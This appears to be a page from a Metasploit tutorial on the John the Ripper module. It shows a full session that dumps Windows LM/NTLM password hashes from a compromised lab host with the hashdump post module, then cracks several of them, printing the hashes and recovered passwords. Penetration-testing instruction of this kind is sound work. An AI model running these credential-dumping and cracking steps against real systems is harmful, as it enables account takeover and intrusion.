John the Ripper a11y.text John the Ripper The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules. msf auxiliary(handler) > use post/windows/gather/hashdump

msf post(hashdump) > set session 1

session => 1

msf post(hashdump) > run

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY bffad2dcc991597aaa19f90e8bc4ee00...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:cb5f77772e5178b77b9fbd79429286db:b78fe104983b5c754a27c1784544fda7:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

HelpAssistant:1000:810185b1c0dd86dd756d138f54162df8:7b8f23708aec7107bfdf0925dbb2fed7:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8be4bbf2ad7bd7cec4e1cdddcd4b052e:::

rAWjAW:1003:aad3b435b51404eeaad3b435b51404ee:117a2f6059824c686e7a16a137768a20:::

rAWjAW2:1004:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

[*] Post module execution completed

msf post(hashdump) > use auxiliary/analyze/jtr_crack_fast

msf auxiliary(jtr_crack_fast) > run

[*] Seeded the password database with 8 words...

guesses: 3 time: 0:00:00:04 DONE (Sat Jul 16 19:59:04 2011) c/s: 12951K trying: WIZ1900 - ZZZ1900

Warning: passwords printed above might be partial and not be all those cracked

Use the "--show" option to display all of the cracked passwords reliably

[*] Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2])

[*] Output: D (cred_6:2)

[*] Output: PASSWOR (cred_6:1)

[*] Output: GG (cred_1:2)

Warning: mixed-case charset, but the current hash type is case-insensitive;

some candidate passwords may be unnecessarily tried more than once.

guesses: 1 time: 0:00:00:05 DONE (Sat Jul 16 19:59:10 2011) c/s: 44256K trying: ||V} - |||}

Warning: passwords printed above might be partial and not be all those cracked

Use the "--show" option to display all of the cracked passwords reliably

[*] Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2])

[*] Output: Remaining 4 password hashes with no different salts

[*] Output: (cred_2)

guesses: 0 time: 0:00:00:00 DONE (Sat Jul 16 19:59:10 2011) c/s: 6666K trying: 89093 - 89092

[*] Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2])

[*] Output: Remaining 3 password hashes with no different salts

guesses: 1 time: 0:00:00:11 DONE (Sat Jul 16 19:59:21 2011) c/s: 29609K trying: zwingli1900 - password1900

Use the "--show" option to display all of the cracked passwords reliably

[*] Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])

[*] Output: password (cred_6)

guesses: 1 time: 0:00:00:05 DONE (Sat Jul 16 19:59:27 2011) c/s: 64816K trying: |||}

Use the "--show" option to display all of the cracked passwords reliably

[*] Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])

[*] Output: Remaining 5 password hashes with no different salts

[*] Output: (cred_2)

guesses: 0 time: 0:00:00:00 DONE (Sat Jul 16 19:59:27 2011) c/s: 7407K trying: 89030 - 89092

[*] Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])

[*] Output: Remaining 4 password hashes with no different salts

[+] Cracked: Guest: (192.168.184.134:445)

[+] Cracked: rAWjAW2:password (192.168.184.134:445)

[*] Auxiliary module execution completed

msf auxiliary(jtr_crack_fast) > Next Meterpreter Scripting Prev Searching for Content